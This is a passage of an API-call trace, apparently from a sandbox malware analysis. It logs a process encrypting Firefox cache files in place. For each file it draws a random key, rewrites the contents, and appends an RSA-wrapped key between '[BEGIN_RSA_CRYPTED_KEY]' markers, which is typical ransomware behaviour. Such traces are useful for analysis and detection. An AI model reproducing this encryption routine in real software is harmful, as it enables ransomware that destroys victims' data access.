nNumberOfBytesToRead=0x111e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesRead=0x2e3f9b4*=0x111e, lpOverlapped=0x0) returned 1 [0254.397] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-4382, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0254.398] WriteFile (in: hFile=0x1b84, lpBuffer=0x344f180*, nNumberOfBytesToWrite=0x111e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344f180*, lpNumberOfBytesWritten=0x2e3f9b4*=0x111e, lpOverlapped=0x0) returned 1 [0254.398] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x111e [0254.398] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0254.398] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0254.399] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0254.399] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0254.399] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0254.399] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="0k7nb+jBibNLNGUTDHpS4sNPWHR18WKPwML7ZvSxNGvy8IzdWI5xQeXuCLL0LKbT\nSbJHDnYlflyxca/iY5w9eodo1Xl01LFI3/1gLDlKKD9T70fa34Xc7iFmdkamGB8s\nVdCA8vu5rHbFtLZ7uIYwDQw0duzDgkROUVTKPMEp5DdNnEO5pvyCRiNufr7lLiCx\nrQg0OJoElDtZ+sm7Hpfm8fKheNo0iKXj4fllJIWLPlfWziYXNQjXDk5tMLphjtai\nZCxpNN4Ol+4znqofYSh4wcRADdg6kQtUkd6BKwM4Sf7bDV++z39H9NvYHco8YlHY\nkL4n94owJR5/AhV+tS+iVg==\n", pcchString=0x2e3f9a8) returned 1 [0254.399] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0254.400] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0254.400] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0254.400] CloseHandle (hObject=0x1b84) returned 1 [0254.401] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0254.402] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\DB35F7B5C3B638134575506C1DECC7214B0152E3", dwFileAttributes=0x80) returned 1 [0254.402] ReadFile (in: hFile=0x1b84, lpBuffer=0x344e058, nNumberOfBytesToRead=0x7a8f, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesRead=0x2e3f9b4*=0x7a8f, lpOverlapped=0x0) returned 1 [0254.430] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-31375, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0254.430] WriteFile (in: hFile=0x1b84, lpBuffer=0x3455af0*, nNumberOfBytesToWrite=0x7a8f, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3455af0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x7a8f, lpOverlapped=0x0) returned 1 [0254.431] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x7a8f [0254.431] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0254.431] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0254.432] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0254.432] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0254.432] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0254.432] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="C++E+rVE1YSlIrkJiXPJMPDGhWEq/L3uLnF0Zw4aILojg8fV0DVccdkOjDLri8hi\n5aecRqgxmu7XY5ox54gjfdhOBykNDbczhSieGuZi/vG7QKcpm6LLkdqZ8MtaBdYm\nrHWnwYRo5cIPqLeOO7XT5sECx6uAhiVwXPjBz2I7ob1E+dljaTduNUkCl3PqzeIX\n4dQ+HW9LbcaGwTOZRXt7fQr6fFpcEboXXrk9CmNWNSLX25GaE74c/op6/R6cZo2z\nZphjYaG/MWeMsjdlnD/C42s+L58gtC1tVNXE5D54PxzfvE46cbuqEvPN6s/TNfCV\nibTuExifQ5ApriAAnRDbmw==\n", pcchString=0x2e3f9a8) returned 1 [0254.432] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0254.432] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0254.432] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0254.432] CloseHandle (hObject=0x1b84) returned 1 [0254.434] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0254.434] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\DB11BB04DBABBEED1877D68FDFB7B20A20F3D7A1", dwFileAttributes=0x80) returned 1 [0254.434] ReadFile (in: hFile=0x1b84, lpBuffer=0x344e058, nNumberOfBytesToRead=0x2f02, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesRead=0x2e3f9b4*=0x2f02, lpOverlapped=0x0) returned 1 [0254.443] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-12034, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0254.443] WriteFile (in: hFile=0x1b84, lpBuffer=0x3450f68*, nNumberOfBytesToWrite=0x2f02, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3450f68*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2f02, lpOverlapped=0x0) returned 1 [0254.443] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2f02 [0254.443] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0254.443] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0254.444] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0254.444] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0254.444] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0254.444] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="Ijc7cC12cByQYTXIEmsEZl9x/TO/xxeVO70mPbomcNtQrckwM50NhrKFrhYppqUl\nMVxoqIMiipO7f65ujnw0K4+r2FXgLCa0+9D548dZ3OfCHdU0xZO5SCADEpYQ5vSy\nwuwYjMeYGTyO3My5R5a1M9iDuyCC/ua4Hi293K5gcjfr3qShlOlHlnbp2VHF4HWX\nrYjVrinW4PpXpdxGcXdvgd4F3c7z+Pxw2fQcuNDYT8L7puss/RprySypy8AwuB8i\n70s5aVHbNwp1tL3q/z12Xv8K/idwEcXmaGRuzDvLCuaoSyLbHkBfebWTlkeSrDY9\nLCl+OVCvMbCQd2bxQZ9nbA==\n", pcchString=0x2e3f9a8) returned 1 [0254.444] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0254.445] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0254.445] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0254.445] CloseHandle (hObject=0x1b84) returned 1 [0254.446] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0254.446] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\DABF64132C78C7E094CF5DF1C0F78723EF35A3CA", dwFileAttributes=0x80) returned 1 [0254.447] ReadFile (in: hFile=0x1b84, lpBuffer=0x344e058, nNumberOfBytesToRead=0x11ad, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesRead=0x2e3f9b4*=0x11ad, lpOverlapped=0x0) returned 1 [0254.503] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-4525, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0254.503] WriteFile (in: hFile=0x1b84, lpBuffer=0x344f210*, nNumberOfBytesToWrite=0x11ad, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344f210*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11ad, lpOverlapped=0x0) returned 1 [0254.507] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11ad [0254.507] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0254.507] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0254.507] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0254.507] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0254.507] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0254.507] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="D6IkHUVsVYruM3IW5BX490s30INKCWWfWDFDjmH+j472TAUPqSt1uyZOS78+NVfd\n7nv/xeXEAUUmNYBtpT1JKkXDNGLAAUI4puqkjKiGURmdxfJ8+Xl8M37nK77ZPSk9\nnDr1Tugk8J0KRpnrz9qAwLZ9wSZVMNXtCcRJ3RQizpOzV9UzpeQfdFvPPNY+naEs\nGi3idoCs94VJKB1mntmiB9H2fsdneJ5h8xRZCctZW9SLiUCLsnilAwDcJdn8uCcd\nYOBjmmuD7Mshi8I1qxNFukVqhwbnjA9ADEL5bJlUxC+ntEOdiO2XbIdybZ1zNrts\nWn4zyh7i4fpWmAx9qy25Eg==\n", pcchString=0x2e3f9a8) returned 1 [0254.507] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0254.508] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0254.508] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0254.508] CloseHandle (hObject=0x1b84) returned 1 [0254.510] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0254.510] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\DA98DECFAD809A0362D9C5A3D476E0F86E4875AC", dwFileAttributes=0x80) returned 1 [0254.511] ReadFile (in: hFile=0x1b84, lpBuffer=0x344e058, nNumberOfBytesToRead=0xd34, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesRead=0x2e3f9b4*=0xd34, lpOverlapped=0x0) returned 1 [0254.519] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3380, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0254.520] WriteFile (in: hFile=0x1b84, lpBuffer=0x344ed98*, nNumberOfBytesToWrite=0xd34, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344ed98*, lpNumberOfBytesWritten=0x2e3f9b4*=0xd34, lpOverlapped=0x0) returned 1 [0254.520] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xd34 [0254.520] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0254.520] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0254.521] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0254.521] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0254.521] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0254.521] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="K6LirgCsBGCl6+r+QmeiM25wuJEChcJy1SOhmuzcIHVWTh4lCfGjWpujSwGUPmc9\n9y8fezNqva3a5ROCbQPygrCWttbEs/RiynctSHNmelZDKcZiWoW3D+SeTvpNPCWa\nWZ9TdD/isIKUUl4lYabie09ofFE/er5tuDwOKVL8F6+0zANLPCiRUIq7LlscNjUe\n996+qBMf/koqkUtou4bwmErTgJ4LfyOFs9p1jHIRrci8MozUs1Xaw0ycdM7J90so\n0u0Xn29VQb6G6S6N9cugAqanzGxzs7mS09cGthJc7ekydrqUxPBv3sbOiWZXaGJG\nXLD3nzmIT/f2CKUl0FjVGw==\n", pcchString=0x2e3f9a8) returned 1 [0254.521] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0254.521] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0254.521] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0254.521] CloseHandle (hObject=0x1b84) returned 1 [0254.523] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0254.523] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\DA151280C1258974FEA9470B57A6AB4D3F732F41", dwFileAttributes=0x80) returned 1 [0254.523] ReadFile (in: hFile=0x1b84, lpBuffer=0x344e058, nNumberOfBytesToRead=0x5009, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesRead=0x2e3f9b4*=0x5009, lpOverlapped=0x0) returned 1 [0254.616] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-20489, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0254.616] WriteFile (in: hFile=0x1b84, lpBuffer=0x3453070*, nNumberOfBytesToWrite=0x5009, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3453070*, lpNumberOfBytesWritten=0x2e3f9b4*=0x5009, lpOverlapped=0x0) returned 1 [0254.617] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x5009 [0254.617] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0254.617] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0254.618] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0254.618] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0254.618] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0254.618] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="yiVTk+vd1FkmusrIqAMnRhbJ99/n8/B69N1xtcA4P2+vf8a9nLWaLRWfp7L+xjWG\n2ky+yq5ff6aFEPoq48Htij+ji49EqhS7blThECxQh/6OOB1NZsNx+TEKrsSGfgtt\nSjQCp6DlcV9KfJ//FI6qqWXXE352o7VLY3G0pxb8dg0THHSpGPRHUpjfmjBKceoo\nBLdizMU0rxRyTha1ba5XbkZy2V/2eAmC/uwQSj9am3ua97Zmb6hJouZFO/j+NLFL\nHRdwOsFAkxOhF/ipqCmAMppm9EPEXk4euijIRd2ydBUh7R1cNHW68ymzLXpSPCGw\n0KC1YkgBbEI5OBXFtZtmog==\n", pcchString=0x2e3f9a8) returned 1 [0254.618] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0254.619] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0254.619] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0254.619] CloseHandle (hObject=0x1b84) returned 1 [0254.621] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0254.621] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\D9E1EAA7CD02E35801B1ACFD38FF49D66C5909D9", dwFileAttributes=0x80) returned 1 [0254.621] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x4d2, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x4d2, lpOverlapped=0x0) returned 1 [0254.623] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1234, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0254.623] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3e850*, nNumberOfBytesToWrite=0x4d2, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4d2, lpOverlapped=0x0) returned 1 [0254.623] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4d2 [0254.623] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0254.623] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0254.624] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0254.624] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0254.624] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0254.624] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="lsBIEMHxsL993yZcPgJMKbxP87sXmQKadmT5G7X//bNQ4RlX2nplX+OdOMUUfOF/\noQO8hSbsC8oMAks7vef6IwAcEuxwW1TAnryzs/zDpVscl309P7BRj1FnGdSs1wMK\nVfPs32ITqkLt5G7w26/M8wzpCf6YRsTGEr4d8bEoTQFVT9ctuZ6nMIwhgTSS8IMF\nwnBsh83skP+/RtFVns50TfpAFVZDli3qIt+3+TYZEOQ0bDkplTVfNnUB2/ALv4RT\nz5MfCrTK5Pd1AFvYHYOjOmRdkkZTbgXcrABWRAp3+L2eS6GLPGihadj0hoCV/EDc\n916bdNR6qtL8GHHPDrXceg==\n", pcchString=0x2e3f9a8) returned 1 [0254.624] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0254.624] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0254.625] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0254.625] CloseHandle (hObject=0x1b84) returned 1 [0254.626] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0254.626] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\D9CE93D1A1373E2AF40879FC019268ABEF8195B4", dwFileAttributes=0x80) returned 1 [0254.627] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x528, 